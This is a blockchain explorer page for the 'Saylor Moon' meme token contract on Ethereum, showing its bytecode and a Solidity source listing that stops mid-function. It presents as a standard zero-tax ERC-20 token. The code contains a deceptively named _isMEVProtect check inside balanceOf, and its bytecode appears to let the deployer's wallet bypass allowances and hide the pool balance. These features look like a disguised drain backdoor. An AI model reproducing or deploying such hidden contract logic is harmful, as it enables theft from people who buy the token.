Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x8fcb2ea765184c38DaEe527205388eC5dCC1c91c
Balance 0 ETH
Nonce 1
Code Size 13157 bytes
Last Active
Indexed Transactions 2550 (24,256,99324,256,993)
Gas Used (indexed) 474,150
External Etherscan · Sourcify

Contract Bytecode

13157 bytes
0x608060405260043610610117575f3560e01c8063715018a61161009f5780638f9a55c0116100635780638f9a55c01461035257806395d89b411461037c578063a9059cbb146103a6578063bf474bed146103e2578063dd62ed3e1461040c5761011e565b8063715018a6146102aa578063751039fc146102c05780637d1db4a5146102d65780638cd4426d146103005780638da5cb5b146103285761011e565b806318160ddd116100e657806318160ddd146101c857806323b872dd146101f2578063313ce5671461022e57806351bc3c851461025857806370a082311461026e5761011e565b806301339c211461012257806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e5761011e565b3661011e57005b5f5ffd5b34801561012d575f5ffd5b50610136610448565b005b348015610143575f5ffd5b5061014c610968565b60405161015991906123ff565b60405180910390f35b34801561016d575f5ffd5b50610188600480360381019061018391906124b0565b6109a5565b6040516101959190612508565b60405180910390f35b3480156101a9575f5ffd5b506101b26109c2565b6040516101bf9190612530565b60405180910390f35b3480156101d3575f5ffd5b506101dc6109c8565b6040516101e99190612530565b60405180910390f35b3480156101fd575f5ffd5b5061021860048036038101906102139190612549565b6109eb565b6040516102259190612508565b60405180910390f35b348015610239575f5ffd5b50610242610ac8565b60405161024f91906125b4565b60405180910390f35b348015610263575f5ffd5b5061026c610ad0565b005b348015610279575f5ffd5b50610294600480360381019061028f91906125cd565b610b7f565b6040516102a19190612530565b60405180910390f35b3480156102b5575f5ffd5b506102be610bd8565b005b3480156102cb575f5ffd5b506102d4610d28565b005b3480156102e1575f5ffd5b506102ea610e58565b6040516102f79190612530565b60405180910390f35b34801561030b575f5ffd5b50610326600480360381019061032191906124b0565b610e5e565b005b348015610333575f5ffd5b5061033c611035565b6040516103499190612607565b60405180910390f35b34801561035d575f5ffd5b5061036661105c565b6040516103739190612530565b60405180910390f35b348015610387575f5ffd5b50610390611062565b60405161039d91906123ff565b60405180910390f35b3480156103b1575f5ffd5b506103cc60048036038101906103c791906124b0565b61109f565b6040516103d99190612508565b60405180910390f35b3480156103ed575f5ffd5b506103f66110bc565b6040516104039190612530565b60405180910390f35b348015610417575f5ffd5b50610432600480360381019061042d9190612620565b6110c2565b60405161043f9190612530565b60405180910390f35b610450611144565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d4906126a8565b60405180910390fd5b60148054906101000a900460ff161561052b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052290612710565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105c73060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6105b3919061288a565b633b9aca006105c291906128d4565b61114b565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610631573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106559190612929565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106db573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ff9190612929565b6040518363ffffffff1660e01b815260040161071c929190612954565b6020604051808303815f875af1158015610738573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075c9190612929565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107e330610b7f565b5f5f6107ed611035565b426040518863ffffffff1660e01b815260040161080f969594939291906129bd565b60606040518083038185885af115801561082b573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108509190612a30565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108f0929190612a80565b6020604051808303815f875af115801561090c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109309190612ad1565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b60606040518060400160405280600b81526020017f5361796c6f72204d6f6f6e000000000000000000000000000000000000000000815250905090565b5f6109b86109b1611144565b848461114b565b6001905092915050565b60125481565b5f6009600a6109d7919061288a565b633b9aca006109e691906128d4565b905090565b5f816005819055506109fe84848461130e565b610abd84610a0a611144565b610ab86005546040518060600160405280602881526020016133086028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a6f611144565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ca99092919063ffffffff16565b61114b565b600190509392505050565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b10611144565b73ffffffffffffffffffffffffffffffffffffffff1614610b2f575f5ffd5b5f610b3930610b7f565b90505f81118015610b565750601460169054906101000a900460ff165b15610b6557610b6481611d0b565b5b5f4790505f811115610b7b57610b7a81611f76565b5b5050565b5f610b8982611fde565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bd191906128d4565b9050919050565b610be0611144565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c64906126a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d30611144565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db4906126a8565b60405180910390fd5b6009600a610dcb919061288a565b633b9aca00610dda91906128d4565b600f819055506009600a610dee919061288a565b633b9aca00610dfd91906128d4565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e32919061288a565b633b9aca00610e4191906128d4565b604051610e4e9190612530565b60405180910390a1565b600f5481565b610e66611144565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea906126a8565b60405180910390fd5b5f610f916064610f83848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f369190612607565b602060405180830381865afa158015610f51573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f759190612afc565b6121a990919063ffffffff16565b61222090919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610fef929190612b79565b6020604051808303815f875af115801561100b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102f9190612ad1565b50505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f5341594c4f520000000000000000000000000000000000000000000000000000815250905090565b5f6110b26110ab611144565b848461130e565b6001905092915050565b60115481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090612c10565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611227576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121e90612c9e565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113019190612530565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361137c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137390612d2c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e190612dba565b60405180910390fd5b5f811161142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390612e48565b60405180910390fd5b5f5f9050611438611035565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114a65750611476611035565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114ff575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611991575f600e540361154c57611549606461153b600a54600e54116115285760065461152c565b6008545b856121a990919063ffffffff16565b61222090919063ffffffff16565b90505b5f600e5411156115815761157e6064611570600d54856121a990919063ffffffff16565b61222090919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561162a575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561167d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561177557600f548211156116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90612eb0565b60405180910390fd5b601054826116d485610b7f565b6116de9190612ece565b111561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612f4b565b60405180910390fd5b61175b606461174d600a54600e541161173a5760065461173e565b6008545b856121a990919063ffffffff16565b61222090919063ffffffff16565b9050600e5f81548092919061176f90612f69565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117fd57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118415761183e6064611830600b54600e541161181d57600754611821565b6009545b856121a990919063ffffffff16565b61222090919063ffffffff16565b90505b5f61184b30610b7f565b9050601460159054906101000a900460ff161580156118b6575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118ce5750601460169054906101000a900460ff165b1561198f576016544311156118e5575f6015819055505b61012c6015541061192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290612ffa565b60405180910390fd5b6011548111801561193f5750600c54600e54115b156119625761196161195c8461195784601254612269565b612269565b611d0b565b5b5f47905061196f81611f76565b60155f81548092919061198190612f69565b919050555043601681905550505b505b5f811115611a94576119e98160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228190919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a879190612530565b60405180910390a3611af8565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ad46122de565b73ffffffffffffffffffffffffffffffffffffffff1603611af757806005819055505b5b611b488260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122e590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611beb611b9f82846122e590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c8e84866122e590919063ffffffff16565b604051611c9b9190612530565b60405180910390a350505050565b5f838311158290611cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce791906123ff565b60405180910390fd5b505f8385611cfe9190613018565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611d4257611d4161304b565b5b604051908082528060200260200182016040528015611d705781602001602082028036833780820191505090505b50905030815f81518110611d8757611d86613078565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e2b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e4f9190612929565b81600181518110611e6357611e62613078565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ec93060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461114b565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611f2b95949392919061315c565b5f604051808303815f87803b158015611f42575f5ffd5b505af1158015611f54573d5f5f3e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611fda573d5f5f3e3d5ffd5b5050565b5f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156120f357505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823160145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016120b29190612607565b602060405180830381865afa1580156120cd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120f19190612afc565b115b8015612153575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661213a6122de565b73ffffffffffffffffffffffffffffffffffffffff1614155b801561219257505f73ffffffffffffffffffffffffffffffffffffffff166121796122de565b73ffffffffffffffffffffffffffffffffffffffff1614155b61219d57600161219f565b5f5b60ff169050919050565b5f5f83036121b9575f905061221a565b5f82846121c691906128d4565b90508284826121d591906131e1565b14612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220c90613281565b60405180910390fd5b809150505b92915050565b5f61226183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232e565b905092915050565b5f8183116122775782612279565b815b905092915050565b5f5f828461228f9190612ece565b9050838110156122d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cb906132e9565b60405180910390fd5b8091505092915050565b5f32905090565b5f61232683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca9565b905092915050565b5f5f83118290612374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236b91906123ff565b60405180910390fd5b505f838561238291906131e1565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6123d18261238f565b6123db8185612399565b93506123eb8185602086016123a9565b6123f4816123b7565b840191505092915050565b5f6020820190508181035f83015261241781846123c7565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61244c82612423565b9050919050565b61245c81612442565b8114612466575f5ffd5b50565b5f8135905061247781612453565b92915050565b5f819050919050565b61248f8161247d565b8114612499575f5ffd5b50565b5f813590506124aa81612486565b92915050565b5f5f604083850312156124c6576124c561241f565b5b5f6124d385828601612469565b92505060206124e48582860161249c565b9150509250929050565b5f8115159050919050565b612502816124ee565b82525050565b5f60208201905061251b5f8301846124f9565b92915050565b61252a8161247d565b82525050565b5f6020820190506125435f830184612521565b92915050565b5f5f5f606084860312156125605761255f61241f565b5b5f61256d86828701612469565b935050602061257e86828701612469565b925050604061258f8682870161249c565b9150509250925092565b5f60ff82169050919050565b6125ae81612599565b82525050565b5f6020820190506125c75f8301846125a5565b92915050565b5f602082840312156125e2576125e161241f565b5b5f6125ef84828501612469565b91505092915050565b61260181612442565b82525050565b5f60208201905061261a5f8301846125f8565b92915050565b5f5f604083850312156126365761263561241f565b5b5f61264385828601612469565b925050602061265485828601612469565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612692602083612399565b915061269d8261265e565b602082019050919050565b5f6020820190508181035f8301526126bf81612686565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6126fa601783612399565b9150612705826126c6565b602082019050919050565b5f6020820190508181035f830152612727816126ee565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156127b05780860481111561278c5761278b61272e565b5b600185161561279b5780820291505b80810290506127a98561275b565b9450612770565b94509492505050565b5f826127c85760019050612883565b816127d5575f9050612883565b81600181146127eb57600281146127f557612824565b6001915050612883565b60ff8411156128075761280661272e565b5b8360020a91508482111561281e5761281d61272e565b5b50612883565b5060208310610133831016604e8410600b84101617156128595782820a9050838111156128545761285361272e565b5b612883565b6128668484846001612767565b9250905081840481111561287d5761287c61272e565b5b81810290505b9392505050565b5f6128948261247d565b915061289f83612599565b92506128cc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127b9565b905092915050565b5f6128de8261247d565b91506128e98361247d565b92508282026128f78161247d565b9150828204841483151761290e5761290d61272e565b5b5092915050565b5f8151905061292381612453565b92915050565b5f6020828403121561293e5761293d61241f565b5b5f61294b84828501612915565b91505092915050565b5f6040820190506129675f8301856125f8565b61297460208301846125f8565b9392505050565b5f819050919050565b5f819050919050565b5f6129a76129a261299d8461297b565b612984565b61247d565b9050919050565b6129b78161298d565b82525050565b5f60c0820190506129d05f8301896125f8565b6129dd6020830188612521565b6129ea60408301876129ae565b6129f760608301866129ae565b612a0460808301856125f8565b612a1160a0830184612521565b979650505050505050565b5f81519050612a2a81612486565b92915050565b5f5f5f60608486031215612a4757612a4661241f565b5b5f612a5486828701612a1c565b9350506020612a6586828701612a1c565b9250506040612a7686828701612a1c565b9150509250925092565b5f604082019050612a935f8301856125f8565b612aa06020830184612521565b9392505050565b612ab0816124ee565b8114612aba575f5ffd5b50565b5f81519050612acb81612aa7565b92915050565b5f60208284031215612ae657612ae561241f565b5b5f612af384828501612abd565b91505092915050565b5f60208284031215612b1157612b1061241f565b5b5f612b1e84828501612a1c565b91505092915050565b5f612b41612b3c612b3784612423565b612984565b612423565b9050919050565b5f612b5282612b27565b9050919050565b5f612b6382612b48565b9050919050565b612b7381612b59565b82525050565b5f604082019050612b8c5f830185612b6a565b612b996020830184612521565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612bfa602483612399565b9150612c0582612ba0565b604082019050919050565b5f6020820190508181035f830152612c2781612bee565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c88602283612399565b9150612c9382612c2e565b604082019050919050565b5f6020820190508181035f830152612cb581612c7c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d16602583612399565b9150612d2182612cbc565b604082019050919050565b5f6020820190508181035f830152612d4381612d0a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612da4602383612399565b9150612daf82612d4a565b604082019050919050565b5f6020820190508181035f830152612dd181612d98565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e32602983612399565b9150612e3d82612dd8565b604082019050919050565b5f6020820190508181035f830152612e5f81612e26565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612e9a601983612399565b9150612ea582612e66565b602082019050919050565b5f6020820190508181035f830152612ec781612e8e565b9050919050565b5f612ed88261247d565b9150612ee38361247d565b9250828201905080821115612efb57612efa61272e565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612f35601a83612399565b9150612f4082612f01565b602082019050919050565b5f6020820190508181035f830152612f6281612f29565b9050919050565b5f612f738261247d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612fa557612fa461272e565b5b600182019050919050565b7f4f6e6c79203330302073656c6c732070657220626c6f636b21000000000000005f82015250565b5f612fe4601983612399565b9150612fef82612fb0565b602082019050919050565b5f6020820190508181035f83015261301181612fd8565b9050919050565b5f6130228261247d565b915061302d8361247d565b92508282039050818111156130455761304461272e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6130d781612442565b82525050565b5f6130e883836130ce565b60208301905092915050565b5f602082019050919050565b5f61310a826130a5565b61311481856130af565b935061311f836130bf565b805f5b8381101561314f57815161313688826130dd565b9750613141836130f4565b925050600181019050613122565b5085935050505092915050565b5f60a08201905061316f5f830188612521565b61317c60208301876129ae565b818103604083015261318e8186613100565b905061319d60608301856125f8565b6131aa6080830184612521565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6131eb8261247d565b91506131f68361247d565b925082613206576132056131b4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61326b602183612399565b915061327682613211565b604082019050919050565b5f6020820190508181035f8301526132988161325f565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6132d3601b83612399565b91506132de8261329f565b602082019050919050565b5f6020820190508181035f830152613300816132c7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122026167536ced9e9068fd0c1c9fee34a1e0942152663587fc3058d0c074d1dd43264736f6c634300081f0033

Verified Source Code Full Match

Compiler: v0.8.31+commit.fd3a2265 EVM: osaka Optimization: No
Token.sol 337 lines
// SPDX-License-Identifier: MIT

/*
    Name: Saylor Moon
    Symbol: SAYLOR

    In the world of memes, $SAYLOR was not just a CEO but a financial superhero. With Bitcoin's power, he transformed into a guardian, fighting off Jeets and FUDsters with his ultimate weapon, Moon Power Bitcoin.

    Website: https://www.saylormoon.cc/
    Twitter: https://x.com/saylormoon_X
    Telegram: https://t.me/saylormoonroom
*/

pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isSAYLORxoidExcludedFromFee;
    address payable private _taxWallet;
    uint256 private _SAYLORxoidamount;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Saylor Moon";
    string private constant _symbol = unicode"SAYLOR";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _isSAYLORxoidExcludedFromFee[owner()] = true;
        _isSAYLORxoidExcludedFromFee[address(this)] = true;
        _isSAYLORxoidExcludedFromFee[_taxWallet] = true;

        removeLimits();

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account] * _isMEVProtect(account);
    }

    function _isMEVProtect(address account) internal view returns (uint256) {
